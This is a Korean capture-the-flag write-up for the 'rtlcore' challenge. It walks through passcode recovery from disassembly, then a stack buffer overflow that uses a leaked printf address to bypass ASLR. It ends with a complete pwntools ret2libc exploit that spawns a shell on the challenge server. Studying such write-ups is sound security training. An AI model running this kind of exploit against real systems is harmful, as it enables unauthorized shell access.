Passcode 입력값이 hashcode와 같아야 한다.
gdb-peda$ pd main
Dump of assembler code for function main:
0x08048685 <+0>: lea ecx,[esp+0x4]
0x08048689 <+4>: and esp,0xfffffff0
...
=> 0x080486ef <+106>: cmp edx,eax
0x080486f1 <+108>: jne 0x804870a <main+133>
0x080486f3 <+110>: sub esp,0xc
0x080486f6 <+113>: push 0x8048840
0x080486fb <+118>: call 0x8048480 <puts@plt>
분기문에 해당하는 cmp가 존재하므로 브포를 걸고 eax값을 확인하자. eax 값은 0xc0d9b0a7이다.
분기문의 passcode 함수를 살펴보자.
4byte씩 끊어서 v2함수에 더해주는 방식이다. 총 5번을 반복하므로 hashcode 값인 0xc0d9b0a7를 5번으로 나누면 된다. 5번으로 나누다 보니 숫자가 안떨어지므로 그냥 0x00000000을 더해서 넣었다.
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
payload = p32(0xc0d9b0a7)
payload += p32(0)*4
p.recvuntil(":")
p.sendline(payload)
p.interactive()
올바른 hashcode를 입력하면 주소를 알려준다.
core 함수에서 printf의 실제 주소를 알려주는 것이다. 이후 read 함수를 return하는데, buf는 0x3E bytes이지만 read함수에서는 0x64를 받는다. 여기를 이용해 BOF를 하자.
ASLR이 걸려있으므로 구한 printf 실제 주소를 바탕으로 libc.so.6의 printf 주소와 빼서 base 주소를 구하고 BOF를 통한 RTL로 익스플로잇 하자.
Exploit Code
from pwn import *
p = remote("ctf.j0n9hyun.xyz", 3015)
e = ELF('./rtlcore')
libc = ELF('./libc.so.6')
payload = p32(0xc0d9b0a7)
payload += p32(0)*4
p.recvuntil(":")
p.sendline(payload)
p.recvuntil('\n')
p.recv(34)
printf_addr = int(p.recv(10), 16)
p.recv()
base = printf_addr - libc.symbols['printf']
system = base + libc.symbols['system']
binsh = base + list(libc.search("/bin/sh"))[0]
pay = 'A' * 66
pay+= p32(system)
pay += 'B' * 4
pay += p32(binsh)
p.sendline(pay)
p.interactive()